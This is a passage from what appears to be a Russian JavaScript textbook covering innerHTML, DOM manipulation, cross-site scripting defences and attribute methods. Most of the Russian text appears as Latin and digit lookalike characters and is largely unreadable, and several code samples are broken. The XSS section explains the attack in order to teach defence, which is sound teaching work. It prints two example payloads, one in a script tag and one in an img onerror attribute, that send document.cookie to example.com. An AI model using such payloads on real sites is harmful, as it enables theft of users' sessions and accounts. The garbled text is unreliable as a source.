Mo>xHO Bbl6l/lpaTb pa3/invyHblE NMpMeEMbl B 3aBU-
CMMOCTHUM OT CTOFILLI,el7I 3a4a4di (a TakK>Xe 3apaHee
CraaHnpoBaTb, KaK 3TOT Y4aCTOK KOAa NMpeAaCTounT

pa3BMBaTb B OyayLeM).

element.innerHTML

CsoncTBo innerHTML no3BossieT nosy4yatb/
06HOBNATbL BECb KOHTEHT N0HOr0 3/1eMeHTa
(BK/tOYas pasmMeTKy) B CTpPOKOBOM dopmarTe.

NMPEMMYLLECTBA

innerHTML no3BonsieT 406aBNATbL Maccy HOBOM
pasmeTKu, MPUMEHAA ropa3Ao MeHbluUe KoAa,
yeM Npu MaHunynaumsax c DOM.

Mpu nomoLm 3Toro ceoncTea innerHTML MOXHO
n06aBuTb Ha Be6-cTpaHuuy 6osblioe Yncno
3/1eMeHTOB ropasfo bbicTpee, 4eM Npu NOMO-
wm maHunynsumm c DOM.

3TO NPOCTON CNOCOH, MO3BONAOLINI YyAANUTD
BeCb KOHTEHT M3 3nemMeHTa (4OCTaTOYHO Npw-
CBOWUTb EMY MYCTYIO CTPOKY).

HEOOCTATKN

® Hecnegyet npumeHsaTb innerHTML
B C/ly4ae C No/1b30BaTE/IbCKUM KOHTEHTOM
(Hanpumep, c UMeHeM MoJib30BaTeNs
NN C KOMMEHTapuem ans 6nora),
MOCKO/IbKY 3TO JOBO/IbHO HeBe3omnacHo.
CooTBeTCTBYOLLME PUCKM NOAPOBHO
paccMOTpeHbl Ha CeAYIoLLMX YeTbipex
cTpaHuuax.

® TakoW noAxod TPYAHO UCMOMb30BaTb
B C/lydasix, Koraa TpebyeTcs BbluNEHUTD
1 0BHOBUTb OTAE/bHbIE 3/IEMEHTbI
B 6osbWwoM dparmeHTe DOM.

® O6paboTymkm COBBLITUN MOTYT HaYaTb
YHKLMOHNPOBATb HEMPABU/ILHO.

MAHUMYAUNA C DOM

MaHunynsumna c DOM — 3To ucnonb3oBaHune
Habopa MeTOZ0B 1 CBOWMCTB A1 OCTYNa K 3/1e-
MEHTaM, a Tak>Xe NX CO3aHnsa N 06HOBNEHUS
3/1€MEHTOB KaK TEKCTOBbIX Yy3/10B.

MPEMMYLLECTBA

® Moaxol yaobeH ANA USMEHEHUS OTAENBHO
B3sTOro aflemeHta DOM m3 Takoro
dparmeHTa Ko4a, rae NpUCyTCTBYET
MHOXECTBO CMEXHbIX 3/TEMEHTOB

® MaHunynauma c DOM He 3aTparusaeT
06paboTUmkmn cobbITUN.

® OHa no3BOJ/IAET CLEHAPUIO C JIETKOCTbIO
£[06aBNATb 3/1EMEHTbI OAUH 33 APYTUM
(ecnu Bbl HE XOTUTE Cpasy MeHATb 6osblumne
KYCKW KOAa).

HEOOCTATKMU

® EcnvnpuxoAmTca BHOCUTb CyLLLeCTBEHHbIE
N3MEHEHUs B KOHTEHT CTpaHuubl, To paboTa
naeT MefSIeHHee, YeM C MPUMEHEHMEM
cBoncTBa innerHTML.

® /[lns pelleHUs aHalOrNYHbIX 3a4au
c npumeHeHunem innerHTML noTpeboBasioch
Obl HaNMMCaTb MeHbLLEe KOAA.

OBbEKTHAA MOAEJ/Ib AOKYMEHTA @



ATAKW C TTPUMEHEHVEM
MEXCANTOBOIO
CKPUTTTUHTA (XSS)

Mpwn gobaBNeHNM KOHTEHTA Ha CTPaHULY NpyY NOMOLLM innerHTML

(MNn HekoTOpbIX MeToA0B bubanoTekn jQuery) HeobXoANMO Y4UK-
TbIBaTb NOTEHLMANbHY ONACHOCTb MEXCaNTOBOIro CKpUMNTHUHIa

(XSS). Mpw nomoLLM TakoM aTakm 3/T0YMbILLUIEHHUK MOXET 3aBa-

Ae€Tb YYETHbIMUW AaHHbIMW BalUNX no/b30BaTeENEN.

B 3ToM KHUre AaeTcs psig npeaynpexaeHui

o npobnemax ¢ 6e30MacHOCTbIO, BO3HMKAKOLLMX,
Koraa Bbl JobaBnsieTe Ha cTpaHuuy HTML-pas-
MEeTKY Npu nomoLn ceorcTBa innerHTML. 3ameva-

HNA O TAKMX OMACHOCTAX AAKOTCA U Npn o6cy>s<p,e-

HUKM paboTbl ¢ jQuery.
KAK TTPONCXOONT ATAKA XSS

Mpwn aTake XSS 310yMbILLNEHHUK BHEAPSAET Ha
CalT CBOW BPeZJOHOCHbIN KOA. Ha MHOTMX canTax
BCTpEeYaeTCsl KOHTEHT, NpeoCTaB/eHHbIN pas-
ANYHBIMW NIoAbMU. Hanpumep:

® NO/Ib30BaTE/IN MOTYT CO3/4aBaTb Ha camTe npo-
¢)VU'II/I N OCTaBNATb KOMMEHTaApuu;

® pa3Hble aBTOPbI CNOCOBHbI MMCaTh Ha canTe
CBOM CTaTbw,

® JaHHble MOTYT MOCTYNaTb CO CTOPOHHMUX Cali-
TOB, BYacTHOCTH, ¢ Facebook, Twitter, yepes
6eryLyt CTpOKY ¥ HOBOCTHbIE NIEHTbI;

® CalT NO3BOJISET 3aKauyMBaTb NO/Ib30BaATEbCKME

dannbl, HanpuMep, N306paxxeHna NI BUAEO.
JlaHHble, KOTOPbIE Bbl HE KOHTPOIMPYETE B MO~
HOM Mepe, Ha3blBaTCA HeJoBepeHHbIMM, obpa-
LLATbCA C HUMM HYXXHO OCTOPOXKHO.

Ha cneaytowmx 4eTbipex cTpaHuuax pac-
CMOTpEHbI MPOHEMbI, KOTOPblE MOTYT
C/ly4nUTbCS Ha YPOBHE CLLEHapMeB, a TakxXe
pacckasaHo, KaK 3aLlMLaTbCs OT NOA0OHbIX
aTak.

KAKOW BPEO MOXET HAHECTM
TAKAA ATAKA

Mpu aTake XSS 3/10yMbILLNEHHUK cnocobeH
NOMYYUTb AOCTYN K CAeAYIOLWMM AaHHbIM:

* Kk DOM (Bkntoyas gaHHble dopm);
= K cookie-dannbl canTa;

® K Mapkepam ceaHca: uHdopmauuu,
NAEHTUOULUNPYIOLLLEN BAC CPEAN APYTHUX
no/fib30BaTesief Npy aBTOpM3aL MM Ha CanTe.

MonyumB 4OCTYM K YYETHbIM AaHHbIM

Nno/ib30BaTe s, 3/T0YMbILLIIEHUK MOXET!

® coBepLlaTb MOKYMNKK Yepe3 B3/TOMaHHYHO
YYETHYI0 3anunchb;

® Ny6AMKOBaATb ANCKPEANTUPYIOLLNA KOHTEHT;

® HbICTpee/Aanblie pacnpoCTPaHATb CBOM
BpeZlOHOCHbIN KOA,.

OAYKE CPABHUTEJIBHO MPOCTOW KOO MOXXET BbI3bIBATb MPOBJ/IEMbI

Bo BpeOHOCHOM KOZe 4acTo nepemelumBatoTcs s3bikn HTML 1 JavaScript (xoTa XSS-aTaku moryT
3anyckatbesa v yepes agpeca URL unm tabnanuybl CSS). Huxe npuBegeHsl 4Ba NpUMepa, 4eMOHCTPU-
pyloLLne, Kak gaxKe o4eHb MPOCTOM KOZ NO3BONAET 3/1I0YMbILUTEHHWUKY 3aB/lafleTb NoJib30BaTe b-

CKOW y4YeTHOW 3anunchbio.

B nepsom npumepe cookie-nHPopmaumnsa coxpaHseTcs B NepeMeEHHON, KOTOpas 3aTeM MOXET ObiTb

oTnpas/ieHa Ha CTOPOHHWIA cepBep:

<script>var adr="http://example.com/xss.php?cookie="+ escape(document.cookie);</script>

Cne,qyrou_wnh KOA4 AEMOHCTPUPYET, KaK MOXHO MCMNO/1b30BaTb A4/14 3anycka Bpe4OHOCHOro koga

HegocTatllee nsobpaxerHve c HTML-aTpnbyTom

<img src="http://nofile" onerror="adr="http://example.com/xss.php?"+escape(document.cookie)";>

Nobor HTML-koZ 13 HeJOBEPEHHbIX NCTOYHUKOB MOXET NOABEPrHY Th Ball CanT
XSS-aTakam. Ho yrposa ncxoauT NnLLb OT OnpeaeneHHbIX CUMBOJIOB.

OBbEKTHAA MOAEJIb AOKYMEHTA



3BALLNTA

OT MEXCAMTOBOIO
CKPUTTTUHTA

BAJIMOAUNA BBEOAEHHOIO KOHTEHTA,

OTMNPABJTAOLLEIrOCH HA CEPBEP

1. Mo3BonanTe nonb3osa-
TeNAM BBOAUTb TO/IbKO Te
CUMBOJIbI, KOTOPbIE HY>XHbl
ANs nepefayn nHdopmaumm.
Takas npakTuka Ha3biBaeTCs
Banugaumen. He paspellanTe
HeflOBepeHHbIM MoJib3oBaTe-
NSM BBOANTb Ha canT HTML-
pa3meTky nnawu JavaScript-kog.

2.MoBTopaAnTe BaAnAaumIo Ha
cepBepe, Mpexzje Yem 0T06-
paxaTb NO/b30BaTENbCKUM
KOHTEHT UM COXPaHATb ero

B 6ase laHHbIX. DTO BaXHO,
NOCKONbKY NOMb30BaTeNN
MOTYT YK/IOHSATbCS OT KNEHT-
CKOM BannAaaumm, oTkato4as

B 6pay3sepe JavaScript-koa.

3. basa AaHHbIX BNOJHE MOXET
cofepxaTb pasmMeTKy v cle-
HapUn N3 AO0BEPEHHbIX NCTOY-
HUKoB (Hanpumep, U3 BalLen
CUCTEMbI YNpaBIeHUs KOHTEH-
ToMm). [eno B Tom, yTo H6asa
AaHHbIX He obpabaTbiBaeT koA,
a Wb XPaHUT ero.

3AMPALUUBAET CTPAHULbI
C BEB-CEPBEPA

N OTNPABNAET HA BEB-
CEPBEP OAHHbIE ®OPM

O ———c

BPAY3EP

OBPABATbIBAET ®ANIbI
HTML, CSS N JAVASCRIPT,
MPUCLINTAEMBIE C BEB-
CEPBEPA

COBUPAET UHO®OPMALIUIO
N3 BPAY3EPA UTNEPEOAET
EE B BA3Y OAHHDbIX

BEB-CEPBEP

FEHEPUPYET CTPAHULIbI
HA OCHOBE MHO®OPMALIUN,
NONYYAEMOW U3 BA3bI
OAHHbIX 1 BCTABNISAEEMOM
B LUABJIOHbI

XPAHUT UHOOPMALUIO,
CO3[0AHHYIO
AOMUHUCTPATOPAMMU

M NONb30OBATEIAMU
CANTA

BA3A JAHHbBIX

BO3BPALLAET KOHTEHT,
HEOBXOOMMbIN ONs
CO30AHNA BEB-CTPAHUL

<

SKPAHNPOBAHWME OAHHDBIX, MOCTYMNAKLWLNX C CEPBEPA
N N3 BA3bl OAHHbIX

4.He co3pgaBante 8 DOM
dparmeHTOB, cogepxaLymx
HTML-pa3meTKy U3 HenpoBe-
peHHbIX UCTOYHUKOB. PazameT-
KY MOXHO ,06aBNSTb TOJIBKO
KaK TeKCT, NpeABapuTesibHO
3KpaHWpoBas ee.

5.Y6eauTech, YTO KOHTEHT,
CreHepupoBaHHbI NoMb30Ba-
TeNs MU, MOXeT BbITb BCTaB-
NIeH TONIbKO B ONpesesieHHble
y4acTKV BaWmWX WabaoHOB
(cm. c. 236)

6. Koraa Bawa viHdopmauus
nokuaaeT 6asy AaHHbIX, BCE
MOTEHLMAIbHO OMaCHbIE CUM-
BOJIbl JO/1KHbI 6bITb 3KPAHUPO-
BaHbl (cM. c. 237)

MTak, eciiv Bbl MMCaNn KO CaMOCTOATE/IbHO, TO MOXEeTe CMeJ10 UCMOo/Ib30BaTb CBOMNCTBO innerHTML AN
no0b6aBneHNa pasmMeTKu. A BOT KOHTEHT, B3ATbI U3 /1I0ObIX HEA0BEPEHHbBIX MCTOYHMKOB, AO/IXKEH TLLa-
Te/IbHO 3KPaHMPOBaTbCA M BCTAaBAATHCA Kak TEKCT (@ He Kak pasMeTKa) Npu NOMOLLM APYTrMX CBONCTB,

Hanpumep, textContent.

OBBbEKTHAA MOOE/Ib AOKYMEHTA @



MEXXCANTOBbLIN

CKPUTTTNHTI

BAJINOALNA
N LLUABJTOHbI

Y6e,u,|/|Ter, 4YTO BaLlM NMoJsib30BaTe/iIn MMEKOT MpaBO BBO-
ANTb TOJIbKO T€ CMMBOJ1bl, KOTOPblE€ HY>XHbI A4 pa6OTbI,
N CTPOro orpaHnybTE Ha CTpaHuUe 30Hbl, rAe MOXKET Mo-

MeLLaTbCHA TAKOW KOHTEHT.

OUNNBTPALNA NI BAITNMOALNA
BBOOA

YT0o6bl NONB30BATENMN HE BBOAUN B NONA d)OpM
Te CMMBOJIbl, KOTOpPble Tyda BBOANTb He HYXKHO,
npotle BCero noackasaTb 3TO NpAMO.

Harlpl/lmep, B MMEHax Nosib30BaTeen n agpecax
SHEKTpOHHOVI MO4YTbl HE BCTpEeYaeTCs yrnoBblx

N Kpyrnabix CKOGOK, a TakKXe amMmnepcaHAoB, MOTO-
MY MOXHO cneunasabHO BannanpoBaTb aHHble
AnanpeaoTBpalleHnd BBOga TaKMX CUMBO/10B.

ST0 AenaeTcs B bpaysepe, HO UMeEeT CMbIC/ MOB-
TOpsTb U Ha cepBepe (Ha C/lyyan, ecim nosb3o-
BaTeNb OTKAUYMA Yy cebs B Bpaysepe JavaScript).
MoapobHee o Banmaaymm byget pacckasaHo

B rnase 13.

BepoaTHo, Bbl 06paLlanu BHUMaHWe, 4TO B MONISX
A71 KOMMEHTUPOBAHUA Ha Pas/IMYHbIX CanTax
BaM He pa3peluaeTcs yka3biBaTb MOYTU HUKAKOM
pasmeTkn (MHOrga gonyckaeTcs HebobLioe
KonuyecTBo HTML-Teros). 310 AenaeTcs UMEHHO
A1 TOTO, YTOObI MOCETUTENN HE BBOAWIN Bpe-
[OHOCHbIV KoA (Hanpumep, af1eMeHTbl script) nan
ntobble Apyrne CMMBOJIbI C aTpnbyTom 0b6paboT-
ynka cobbITU.

Jaxe B HTML-pegakTopax, NpuMeHsSeMbIX BO
MHOIMX CUCTEMAX YNpPaBAeHUs KOHTEHTA, A40-
nyckaeTcs UCNOMb30BaTb He 10060 Koa, Npuyem
peAakToOp aBTOMAaTUYECKU NbiTaeTCsl CNpPaBUTb
nobyto nocnesoBaTENbHOCTb CUMBOJIOB, KOTO-
pas KaxeTcsa eMy BpeJOHOCHOMN.

@ OBbEKTHAA MOLEJ/Ib AOKYMEHTA

OIrPAHUNYBLTE HA CTPAHULIE
KOJIMYECTBO 30H, B KOTOPbLIX
MOXET HAXOONTbCH
MOJIb3OBATEJIbCKNN KOHTEHT

310yMbILWIEHHWUKN He ByAyT co3aaBaTb

1 3anyckaTb XSS-aTaku npy nomoLm oa-
HUX TOIbKO 3/1eMeHTOB script. Kak feMoHc-
TPMPOBaNOCh Ha C. 234, BpeJOHOCHbIN KOA
MOXeT HaXOANTbCA AaXe He B 31eMeHTe
script, a B 06paboTumKe CoOObITMIA Kakoro-
nmbo aTpnbyTa. Kpome Toro, XSS-ataka

B pa/e C/ly4YaeB 3anyckaeTCs BpeAoHOC-
HbIM KOAOM, Haxoaswmmcs B CSS nam URL.

Bbpay3epbl He ognMHakoBo obpabaTbiBa-

toT HTML-kog, CSS v JavaScript (B Takom
cnyyae peyb MAEeT O pa3HbIX KOHTEKCTax
WNCMOMIHEHMA), N B KaX0OM A3blKe pa3iny-
Hble CUMBOJIbl CMOCOBHbBI NPUBOAUTL K NMPO-
6nemam. CnegoBaTesnbHO, 11060 KOHTEHT
M3 HeZJOBEPEHHbIX NCTOYHUKOB MOXHO
A06aBNATb Ha CTpaHMLY TO/IbKO Kak TeKCT
(a He Kak pasMeTKy) 1 MOMELLATb 3TOT
TEKCT B TeX 3/IEMEHTax, KOTOpble BUAHbI

B ob6aacTu npocmMmoTpa.

Hukorga He cTaBbTe MNOb30BATEIbCKUN
KOHTEHT B c/ieaylolinx mecTax 6es ge-
TaZbHOrO U3y4YeHns BCeX MOTEHLMaNbHO
BO3MOXHbIX Npobnem (obcyxaeHne Takmx
npobieM BbIXOAUT 3@ PaMKUM 3TOM KHUT ).

dneMeHTbl script:

<script>He ciogal</script>
HTML-kommeHTapum:  <!-- He ciopa! -->
MmeHa Teros: <notHere href="/test" />
ATpubyTbI: <div He ciopa!="Heciopa! />
3HayeHus CSS: {color: He cioga!}



XSS: OKPAHNPOBAHWE

PASMETKN

1 YTTIPABJIEHWE EIO

Ecaun co3aaHHbIV NO/Ib30BaTENNIEM KOHTEHT coaepXxXuT

Kakmne-nmbo CMMBOJIbl, KOTOPblE NCIMOJIb3YKOTCHA B KOAE,

Ha cepBepe TakKme CMMBOJIbl AOJ/I>KHbI 9KPpaHNUPOBATbCA.

HeobxoAnMO KOHTPONMPOBATb BCHO PA3METKY,

[00aBASAEMYI0 Ha CTpaHULY.

SKPAHVPOBAHWE MOJIb3OBATEJ1b-
CKOIo KOHTEHTA

Bce AaHHble, NOCTYMNaloLMe U3 HEJO0BEPEHHbIX
MCTOYHUKOB, CHaYana Ao/IKHbl SKpaHMpPOBaTbHCH
Ha cepBepe U IWLb NOTOM — 0TO6paxaTbCsa Ha
cTpaHuue. B 60/1bLIMHCTBE CEPBEPHbIX A3bIKOB
nporpaMmmMmMpoBaHms CyLLLeCTBYIOT BCMOMOra-
TesbHble YHKLMK, MO3BONAIOLLNE U3BIEKATb U3
NMPUHUMAEMOro COAEPXNMOro BPeOHOCHbIN KOZ
NM60 3KpaHMpoBaTh ero.

HTML

DKpaHUpyWTe CeAytoLine CUMBOJIbI, YTOBbI OHM
oTobpaxanuch kak 06bluHbIN TeKCT (a He obpaba-
TbIBA/INCb KaK KOA).

& &amp; &#x27; (He &apos;)
< &l " &quot;

> &gt; /  &fiix2F;

' &#x60;

JAVASCRIPT

Hukorga He BkNOYanTe B Ball Koj JavaScript
AaHHble, NONyYeHHble N3 HEZJOBEPEHHbIX NCTOY-
HWKOB. B 4aCTHOCTH, HY>XXHO 3KpPaHUpPOBaTb /110~
6ble cumBobl ASCIl co 3HaveHnamm meHee 256,
€C/IM 3TN CUMBOJIbl HE ABNAIOTCHA YNCN0-OYKBEH-
HbIMW (OHW MOTYT NPeACTaBAATb ONACHOCTb).

URL

Mpy HaNMYUKM CCbINOK, COAEPKALLUX NOMb-
30BaTeNbCkUiA BBOA (Hanpumep, aTO MOry T
6bITb CCbINIKW HAa Npob Kb NGO NONCKOBbIE
3anpocskl) ucnonb3lyiTe JavaScript-meTtoa
encodeURIComponent() 419 KOAMPOBaHUSA NOSb-
30BaTesIbCKOro BBOAA. DTOT METOA KOANPYET
cneaytoLime CUMBObI:

2 @&=+5#

OOBABJIEHVE MOJIb3OBATEJIbCKO-
O KOHTEHTA HA CTPAHNLY

Ecnu Bbl gobasnsete Ha HTML-cTpaHuuy Hego-
BEPEHHDIN KOHTEHT, JaXKe Noc/ie 3KpaHUPOBaHUS
Ha cepBepe OH JoJIXeH 0TobpaxaTbcs Kak 06bIy-
HbI TekcT. Kak B JavaScript, Tak n B jQuery gnsa
3TOro NpefoCTaBAATCS CNelmasibHble UHCTPY-
MEHTbI.

JAVASCRIPT

McnonbayinTe: textContent or innerText (CM. c. 222).
He ncnonbsynTe: innerHTML (cm. . 226).

JQUERY

Wcnonb3syiTe: .text() (cm. c. 322).
He ncnonbsynte: .html() (cm. c. 322).

KOHeYHo, TeopeTUYeCKn MOXHO MPUMEHATL
HTML-ceoncTBO innerHTML 1 meToz .html() n3
6ubnnotekn jQuery ana gobasneHns HTML-pas-
meTku B DOM, HO TO/IbKO €C/M Bbl aBCOTIOTHO
yBepeHbl, 4TO:

® MOJIHOCTbIO KOHTPOAMPYeETE BCKO
reHepupyemyto pasmeTky (He gonyckaeTe
coAepxallunin ee Nosb3oBaTeNbCKUIA
KOHTEHT Ha CTpaHuLy);

® M0/1b30BaTEIbCKUM KOHTEHT 3KpaHUpOBaH
n fobaBnsieTcs Ha CTPaHULY Kak 06bIYHbIN
TEKCT MPY MOMOLLM BbILLIEONMUCAHHBIX
npuemMoB, a He Kak HeobpaboTaHHbIn HTML.

OBbEKTHAA MOAEJ/Ib AOKYMEHTA @



Y3J1bl ATPUBYTOB

K y31y afieMeHTa MOXHO NPUMEHSATDb eLle psg CBOUCTB U METO-
0B, YTOObI MO/Ty4YaTb AOCTYMN K €ro atpubyTam U USMEHSATb UX.

JocTtyn k atpubyTam u nx 06-
HOBJIEHME MPONCXOAUT B ABa

3Tana.

HaxoguT y3en anemeHTa. Pabotaet
CO BCEMW NpUemMamm, onMcaHHbIMU
B 3TOW rnaBse

CTaBUM TOUKY.

meToza

3AMNPOC DOM
|

CHavana mMbl BbigeNsiem y3en
3/IeMeHTa, cogepKalyui 3ToT
aTpubyT, a mocne UMeHM y3na

3aTem Mbl TpMMeHsieM KaKom-
HUBYAb MeToA UM CBOUCTBO
M3 NepeyncneHHbIX Huxe. OHU
no3Bo/AKT paboTaTb Cc aTpu-
byTamu noboro anemeHTa.

MonyyaeT 3HaYeHne aTpubyTa, KO-
TOpbIn 6bl0 3a4aH Kak mapameTp

METO[L
|

document.getElementById(‘one').getAttribute('class');

METO[

getAttribute()
hasAttribute ()

setAttribute()
removeAttribute()

CBOMNCTBO

className

id

ONEPALUA OOCTYNA

YKasblBaeT, UTo CAeAYoWmnin MeToa
6yAeT NPUMEHEH K y3/1y, CToALEMY

nepepj sTon onepayuen

ONMUCAHUE

MonyyaeT 3HaueHne aTpubyTa
MpoBepseT, ecTb N y y3/1a 31eMeHTa
yKasaHHbIA aTpubyT

YcTaHaB/IMBaeT 3HaueHue A5 aTpubyTa
Ypanser atpubyT c y3na anemeHTa

ONMUCAHUE

MonyyaeT naun ycTaHaB/AINBaET 3HaYEHNE
aTpubyTa class

MonyyaeT naun ycTaHaB/AINBaET 3HaYEHNE
aTpubyTaid

@ OBbEKTHAA MOLEJIb AOKYMEHTA

Bbl y>ke 3HaeTe, 06bekTHas
MoAe b JOKYMEHTA pacLeHu-
BaeT Kaxkabin HTML-anemeHT
KakK CaMOoCTOATE IbHbIN 06b-
ekT B DOM-gepeBe. CBONCTBA
3TOro o6bekTa COOTBETCTBY-
10T aTpubyTam, KOTOpblE MO-
ryT 6bITb Y 3/IEMEHTA TaKOro
TuNa. Bbie onncaHbl cBOWC-
TBa className v id (Nnpumepbl
APYrnx cBonmcTe — accessKey,
checked, href, lang u title).



[MPOBEPKA HAJIMYNHA
ATPUBY TA U MNOJTYUHEHWE
EFO 3HAYEHNI

Mpexae yem NnpucTynaTtb MeTog hasAttribute() nto60oro Ecnu meTog hasAttribute() nc-

K paboTe c aTpubyTOM, Xena- y3/71a 3/1eMeHTa No3BonsaeT noNb3yeTcst B UHCTpyKUmu if, kak

TENbHO NPOBEPUTD, ECTb JIN OH NPOBEPUTb, UMEETCSH NIN Y a/1e- noKasaHo 3/eCb, 3TO O3HaYaeT

y afiemMeHTa. Ecnv atpmbyT He MeHTa aTpubyT. Mg aTpu- cnegytouiee: Kog B GUTrypHbIX

HaWZeH, To Bbl CMOXeTe cbe- byTa yKka3blBaeTcs B KPYr/ibIX ckobKkax 6yAeT BbIMOMHEH /LB

peyb pecypchbl. ckobKax Kak apryMeHT 3Toro npwv yCNoBUKN, YTO Y IAHHOIO 3/1e-
meToaa. MEHTa eCTb UICKOMbI aTPUOYT.

JAVASCRIPT c05/js/get-attribute.js

var firstItem = document.getElementById(‘one');  // Monyyaem nepebiii anemeHT cnucka

if (firstitem.hasAttribute('class')) { // Ecany Hero ecTb aTpu6yT class
var attr = firstItem.getAttribute('class'); // Nonyyaem arpubyt

// Bobasnsem 3nauenve atpubyta nocne cnucka
var el = document.getElementById('scriptResults);
el.innerHTML = '<p>lepBomy 3nemeHTy npucBoeH knacc: '+ attr + '</p>";

}
3aecb 3anpoc DOM
PE3YJIbTAT getElementByld() Bo3Bpawjaet

TOT 3/IEMEHT, Yen uaeHTUdU-

KaTop MMeeT 3Ha4YeH e one.

LAt il dhibatal Y MeTog hasAttribute() ncnosnb-

3yeTcsi 418 NPOBEPKMU TOrO,
€CTb /Iy 3TOTO 3/IeMeHTa
aTpunbyT class, 1 BO3BpaLlaeT
norunyeckoe 3HayeHune. OH
NPUMEHSIETCA C UHCTPYKLNEN
if, N0aTOMY KOZ B GUrypHbIX
CcKobKax BbIMNOJIHAETCA NNLLb
npun yCnoBuu, 4To aTpmubyT
class cyLecTByeT.

KEAPOBbIE OPEWIKH

nuesiuHbIN Mef,

Danb3aMMUECKN YKCYC

MeTopa getAttribute() Bo3epa-

LjaeT 3HavyeHne aTpnbyTa
Mepeomy anemeHTy npucBoer knacc: hot class, KOTOpoe 3aTeM 3anuchl-

BaeTCA Ha CTpaHuLy.

Noapep>xka 6paysepamu: oba
3TUX MeTOAa XOPOoLUO noaze-
PXXMBAOTCS BO BCEX OCHOBHbIX
6paysepax.

OBBbEKTHAA MOOEJIb AOKYMEHTA



CO3LAHNE ATPNBY TOB
N NSMEHEHWE NX

3HAUEHUW

B rnaBe 5 Mbl YacTo Mosb30Ba-
JINCb AaHHbIM CBOMCTBOM AN
06HOBIEHMS COCTOSAHMSA 3/1€e-
MEHTOB crucka. Huxe nokasaH 3HaueHue.
NHOM Cnocob peLueHnsa aTomn

3agaun. Metog setAttribute()

no3Bo/ISieT OOHOBUTb 3Ha-

CBoncTBO className no3BossieT
N3MEHATb 3HaueHne atpunbyTa
class. Eciv oH eLle He cyuecT-

ByeT, To byZleT co3aaH v nony-

YUT KOHKPETHOE 3HaYeHMe.

c05/js/set-attribute.js

var firstItem = document.getElementById(‘one');

firstItem.className = 'complete';

// Tonyyaem nepabiii anemeHT
// W3meHsem ero atpubyr class

var fourthItem = document.getElementsByTagName('li").item(3); // Nonyyaem YeTBepTbIit 3nEMEHT

el2.setAttribute('class', 'cool');

Ecany meToga ecTb CBOMCTBO
(Hanpumep, className nnu id),
TO 06bIUHO pekomeHayeTCa
06HOBNATH CBOMCTBA, a He
ncnonb3osaTbh MmeToA (Tak Kak
Ha BHYTPUCMCTEMHOM YpOBHE
METO/ BCe paBHO 3asaBasn bbl
CBOMCTBA).

Korza Bbl 06HOBAsIETE 3Ha-
yeHue aTpubyTa (0ocobeHHO
class), Npy NomoLLu 3ToMn
onepaumu Bbl MOXETE aKTh-
BMpOBaTb HOBble MpaBuaa CSS
1, cnefoBaTeNbHO, U3SMEHUTb
BHELUHWI BUA 3/1EMEHTOB.

// Do6asnsem k Hemy atpubyT

CBEXXUHINHXUD
KeJipoBble OpElIKH

NUYESUHBbIA Mef

GanbL3aMUuecKui yKCyC

@ OBbEKTHAA MOLEJ/Ib AOKYMEHTA

yeHue noboro atpubyTta. OH
NpUHMMaeT Ba napamMmeTpa:
ums aTpnbyTa u ero HoBoe

JAVASCRIPT

PE3YJIbTAT

MpumeuaHue. MNpu NCMOTb30OBAHUN TAKUX MPUEMOB MOJIHOCTbIO
nepeonpegenseTtcs 3HayeHne aTpubyTa class. OHu He obaBAsOT
HOBOW CEMAHTMKM K Y>KE MMEIoLLLeMYCsi 3HaYeHuto aTpubyTa class.

Ecan TpebyeTcsa 406aBUTb HOBOE 3HAYEHME K YKE COAEPXKallemycs
B aTpunbyTe class, Hy>XHO CHayasia CYUTaTb €ro KOHTEHT, @ 3aTeM
[06aBUTb HOBbIV TEKCT K NMpexHeMy (Inbo BOCMOIb30BaTHCA METO-
Aom .addClass() 13 6ubanoTekmn jQuery, pacCMOTPEHHbIM Ha C. 326).



YOAJIEHWE ATPNBY TOB

YT106bbl yaanuTb aTpnbyT,
CHaya/la Hy>XHO BblAEeNNTb
3/1IEMEHT, 3aTeM BbI3BaTb
meTo/ removeAttribute(). OH
MMeeT OVH NapameTp: UMa
aTpubyTa.

JAVASCRIPT

Mpu NonbITKe yaanuTb
HecyLecTByOLWUA aTpruby T
oLNBKN He Npon3onaer,
0AHaKO BCE-TAaKW PEKOMEH-
AYeTCs NpoBepATh Hanune
aTpubyTa, Npexae 4yem
NbITaTbCs €70 YAANNUTb.

var firstItem = document.getElementById(‘'one’); // Monyyaem nepBbiit anemeHT

if (firstItem.hasAttribute("class')) {
firstItem.removeAttribute('class');

}

PE3YJ/ZIbTAT

CBEXXMH NHXUP

KEApPOBbLIE OPEIIKH

nueuHbIn Mef

// Ecany Hero ectb apubyT class
// Ynansem 3ot arpubyT class

banb3aMmnyeckui ykcyc

B cnepytowem npumepe
meToz getElementByld()
npUMeHsieTca 4N n3Bneye-
HUS NEPBOro 3/1IEMeHTa 13
cnucka. 3TOMy 3N1eMEHTY
NMpUCBOEH NAEHTUDMKATOP
one.

c05/js/remove-attribute.js

CueHapuii NpoBepsieT, eCTb
NN Y BblA€NEHHOr O 31EMEH-
Ta aTpubyT class. Ecnum Takon
aTpubyT HangeH — OH
yaanseTtcs.

OBBbEKTHAA MOOEJIb AOKYMEHTA



MCCJIEAQOBAHUWE
OBBbEKTHOW MOLEJIN

HNHOKYMEHTA B BPAY3EPE
CHROME

CoBpeMeHHble bpay3epbl OCHaLLEHbl MHCTPYMEHTaMM, MNO3-
BO/IAOLLMMM UCCen0BaTb (MHCMEKTUPOBATL) CTpaHuLYy,
3arpy>kKeHHyto B bpay3sepe, BUAS NpY 3TOM CTPYKTYpY ee

DOM-gepeBa.

Ha faHHOM CHMMKeE 3KpaHa
anemeHT li noagcBeyeH, a Ha
nanenu Ceoncrtea (Properties)
(1) ykasaHo, 4To nepes Hamu:

anemeHT li c nageHTUPUKaTO-
pOM one 1 Ka1accom hot;

® 3n1emeHT HTMLLIElement;
® 3n1emeHT HTMLElement;

® 3/1eMEHT;

®y3en;

® 06bEKT.

PsAaOM C KaxablM U3 3TUX Ha-
3BaHW 0ObeKTa eCcTb CTPenKa,
npv NOMOLLM KOTOPO Bbl
MOXETe PackpbiTb 4OMNONHM-
TesibHYt0 MHPOpMaUuio No
KOHKPETHOW XapakTepucTuke.
[Moa cTpenkow Bbl yBuAUTE,
Kakue CBOMCTBA 4OCTYMHbI
ANS y30a Takoro poaa.

XapakTepucTuUKu OTAe eHbl
APYr OT Apyra, Tak Kak HeKo-
TOpble CBOMCTBA BCTpeYatoTca
TO/IbKO Y 3/1IEMEHTOB CNUCKa,
Apyrue — y y3/10B 3/IEMEHTOB,
TpeTbn — y NtobbIX Y3708,
ayeTBepTbie — y 106bIX 06b-
eKkToB. PaznnyHble cBoOnCTBa
nepeyncneHbl A8 TEX TUNOB
Y3/10B, KOTOPbIM OHU MOTYT
cooTBETCTBOBaTbL. Kpome
